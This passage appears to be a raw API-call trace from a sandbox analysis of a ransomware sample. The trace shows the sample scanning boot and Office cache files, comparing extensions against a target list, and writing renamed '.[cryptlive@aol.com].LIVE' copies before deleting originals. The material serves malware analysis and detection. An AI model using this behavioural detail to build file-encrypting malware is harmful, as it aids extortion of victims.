"c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.083] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.083] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0037.083] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0037.083] lstrlenW (lpString=".doc") returned 4 [0037.083] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.083] lstrlenW (lpString=".docx") returned 5 [0037.083] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.083] lstrlenW (lpString=".pdf") returned 4 [0037.083] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.083] lstrlenW (lpString=".xls") returned 4 [0037.083] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.084] lstrlenW (lpString=".xlsx") returned 5 [0037.084] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.084] lstrlenW (lpString=".ppt") returned 4 [0037.084] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.084] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0037.084] lstrlenW (lpString=".zip") returned 4 [0037.084] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.084] lstrlenW (lpString=".rar") returned 4 [0037.084] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.084] lstrlenW (lpString=".bz2") returned 4 [0037.084] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.084] lstrlenW (lpString=".7z") returned 3 [0037.084] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.084] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0037.084] lstrlenW (lpString=".dbf") returned 4 [0037.084] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.084] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0037.084] lstrlenW (lpString=".1cd") returned 4 [0037.084] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.084] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0037.084] lstrlenW (lpString=".jpg") returned 4 [0037.084] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.084] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0037.084] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0037.084] lstrlenW (lpString=".doc") returned 4 [0037.084] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.084] lstrlenW (lpString=".docx") returned 5 [0037.085] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.085] lstrlenW (lpString=".pdf") returned 4 [0037.085] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.085] lstrlenW (lpString=".xls") returned 4 [0037.085] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.085] lstrlenW (lpString=".xlsx") returned 5 [0037.085] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.085] lstrlenW (lpString=".ppt") returned 4 [0037.085] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.085] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0037.085] lstrlenW (lpString=".zip") returned 4 [0037.085] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.085] lstrlenW (lpString=".rar") returned 4 [0037.085] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.085] lstrlenW (lpString=".bz2") returned 4 [0037.085] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.085] lstrlenW (lpString=".7z") returned 3 [0037.085] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.085] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0037.085] lstrlenW (lpString=".dbf") returned 4 [0037.085] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.085] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0037.085] lstrlenW (lpString=".1cd") returned 4 [0037.085] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.085] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0037.085] lstrlenW (lpString=".jpg") returned 4 [0037.085] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.085] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0037.085] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.085] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.086] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=89664) returned 1 [0037.086] CloseHandle (hObject=0x16c) returned 1 [0037.086] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0037.086] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.086] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.086] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0037.086] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0037.086] lstrlenW (lpString=".doc") returned 4 [0037.086] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.086] lstrlenW (lpString=".docx") returned 5 [0037.086] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.086] lstrlenW (lpString=".pdf") returned 4 [0037.086] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.086] lstrlenW (lpString=".xls") returned 4 [0037.086] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.086] lstrlenW (lpString=".xlsx") returned 5 [0037.086] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.086] lstrlenW (lpString=".ppt") returned 4 [0037.086] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.086] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0037.086] lstrlenW (lpString=".zip") returned 4 [0037.086] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.086] lstrlenW (lpString=".rar") returned 4 [0037.087] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.087] lstrlenW (lpString=".bz2") returned 4 [0037.087] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.087] lstrlenW (lpString=".7z") returned 3 [0037.087] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.087] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0037.087] lstrlenW (lpString=".dbf") returned 4 [0037.087] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.087] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0037.087] lstrlenW (lpString=".1cd") returned 4 [0037.087] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.087] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0037.087] lstrlenW (lpString=".jpg") returned 4 [0037.087] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.087] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0037.087] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0037.087] lstrlenW (lpString=".doc") returned 4 [0037.087] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.087] lstrlenW (lpString=".docx") returned 5 [0037.087] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.087] lstrlenW (lpString=".pdf") returned 4 [0037.087] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.087] lstrlenW (lpString=".xls") returned 4 [0037.087] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.087] lstrlenW (lpString=".xlsx") returned 5 [0037.087] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.087] lstrlenW (lpString=".ppt") returned 4 [0037.087] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.087] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0037.087] lstrlenW (lpString=".zip") returned 4 [0037.087] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.087] lstrlenW (lpString=".rar") returned 4 [0037.087] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.087] lstrlenW (lpString=".bz2") returned 4 [0037.087] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.087] lstrlenW (lpString=".7z") returned 3 [0037.087] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.088] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0037.088] lstrlenW (lpString=".dbf") returned 4 [0037.088] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.088] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0037.088] lstrlenW (lpString=".1cd") returned 4 [0037.088] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.088] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0037.088] lstrlenW (lpString=".jpg") returned 4 [0037.088] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.088] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0037.088] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.088] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.088] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=90192) returned 1 [0037.088] CloseHandle (hObject=0x16c) returned 1 [0037.090] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0037.090] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.090] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.090] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0037.090] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0037.090] lstrlenW (lpString=".doc") returned 4 [0037.090] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.090] lstrlenW (lpString=".docx") returned 5 [0037.090] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.090] lstrlenW (lpString=".pdf") returned 4 [0037.090] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.090] lstrlenW (lpString=".xls") returned 4 [0037.090] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.090] lstrlenW (lpString=".xlsx") returned 5 [0037.090] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.090] lstrlenW (lpString=".ppt") returned 4 [0037.090] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.090] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0037.090] lstrlenW (lpString=".zip") returned 4 [0037.090] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.090] lstrlenW (lpString=".rar") returned 4 [0037.090] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.090] lstrlenW (lpString=".bz2") returned 4 [0037.090] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.091] lstrlenW (lpString=".7z") returned 3 [0037.091] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.091] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=87616) returned 1 [0037.091] CloseHandle (hObject=0x16c) returned 1 [0037.091] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0037.091] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.091] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.091] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=87104) returned 1 [0037.091] CloseHandle (hObject=0x16c) returned 1 [0037.091] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0037.091] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.091] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.092] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=70720) returned 1 [0037.092] CloseHandle (hObject=0x16c) returned 1 [0037.092] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0037.092] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.092] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff Thread: id = 13 os_tid = 0x778 [0036.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3710260 [0036.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3720268 [0036.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5705e8 [0036.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x573368 [0036.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570600 [0036.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3910020 [0036.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570618 [0036.215] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570618, Size=0x20) returned 0x555df0 [0036.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570618 [0036.215] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570618, Size=0x20) returned 0x555dc8 [0036.215] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0036.215] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0036.215] Wow64DisableWow64FsRedirection (in: OldValue=0x2ecff58 | out: OldValue=0x2ecff58*=0x0) returned 1 [0036.215] lstrlenW (lpString="kernel32.dll") returned 12 [0036.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555df0 | out: hHeap=0x520000) returned 1 [0036.215] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555dc8 | out: hHeap=0x520000) returned 1 [0036.215] Sleep (dwMilliseconds=0x64) [0036.338] Sleep (dwMilliseconds=0x64) [0036.823] Sleep (dwMilliseconds=0x64) [0036.996] Sleep (dwMilliseconds=0x64) [0037.152] Sleep (dwMilliseconds=0x64) [0037.474] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.474] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0037.474] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0037.474] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1450) returned 1 [0037.474] CloseHandle (hObject=0x154) returned 1 [0037.474] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0037.474] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.474] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0037.474] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.474] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.475] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.475] GetLastError () returned 0x0 [0037.475] ReadFile (in: hFile=0x154, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x5aa, lpOverlapped=0x0) returned 1 [0037.490] WriteFile (in: hFile=0x16c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0037.491] ReadFile (in: hFile=0x154, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0037.491] WriteFile (in: hFile=0x16c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0037.491] SetEndOfFile (hFile=0x16c) returned 1 [0037.491] CloseHandle (hObject=0x16c) returned 1 [0037.492] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0037.492] SetEndOfFile (hFile=0x154) returned 1 [0037.493] CloseHandle (hObject=0x154) returned 1 [0037.493] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.493] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0037.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0037.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0037.493] lstrlenW (lpString=".doc") returned 4 [0037.493] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.493] lstrlenW (lpString=".docx") returned 5 [0037.493] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.493] lstrlenW (lpString=".pdf") returned 4 [0037.493] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.493] lstrlenW (lpString=".xls") returned 4 [0037.493] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.494] lstrlenW (lpString=".xlsx") returned 5 [0037.494] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.494] lstrlenW (lpString=".ppt") returned 4 [0037.494] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0037.494] lstrlenW (lpString=".zip") returned 4 [0037.494] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.494] lstrlenW (lpString=".rar") returned 4 [0037.494] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.494] lstrlenW (lpString=".bz2") returned 4 [0037.494] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.494] lstrlenW (lpString=".7z") returned 3 [0037.494] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0037.494] lstrlenW (lpString=".dbf") returned 4 [0037.494] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0037.494] lstrlenW (lpString=".1cd") returned 4 [0037.494] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0037.494] lstrlenW (lpString=".jpg") returned 4 [0037.494] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0037.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0037.494] lstrlenW (lpString=".doc") returned 4 [0037.494] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.494] lstrlenW (lpString=".docx") returned 5 [0037.494] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.494] lstrlenW (lpString=".pdf") returned 4 [0037.494] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.494] lstrlenW (lpString=".xls") returned 4 [0037.494] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.495] lstrlenW (lpString=".xlsx") returned 5 [0037.495] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.495] lstrlenW (lpString=".ppt") returned 4 [0037.495] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0037.495] lstrlenW (lpString=".zip") returned 4 [0037.495] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.495] lstrlenW (lpString=".rar") returned 4 [0037.495] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.495] lstrlenW (lpString=".bz2") returned 4 [0037.495] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.495] lstrlenW (lpString=".7z") returned 3 [0037.495] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0037.495] lstrlenW (lpString=".dbf") returned 4 [0037.495] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0037.495] lstrlenW (lpString=".1cd") returned 4 [0037.495] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0037.495] lstrlenW (lpString=".jpg") returned 4 [0037.495] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.495] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.495] lstrlenW (lpString="Setup.xml") returned 9 [0037.495] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all 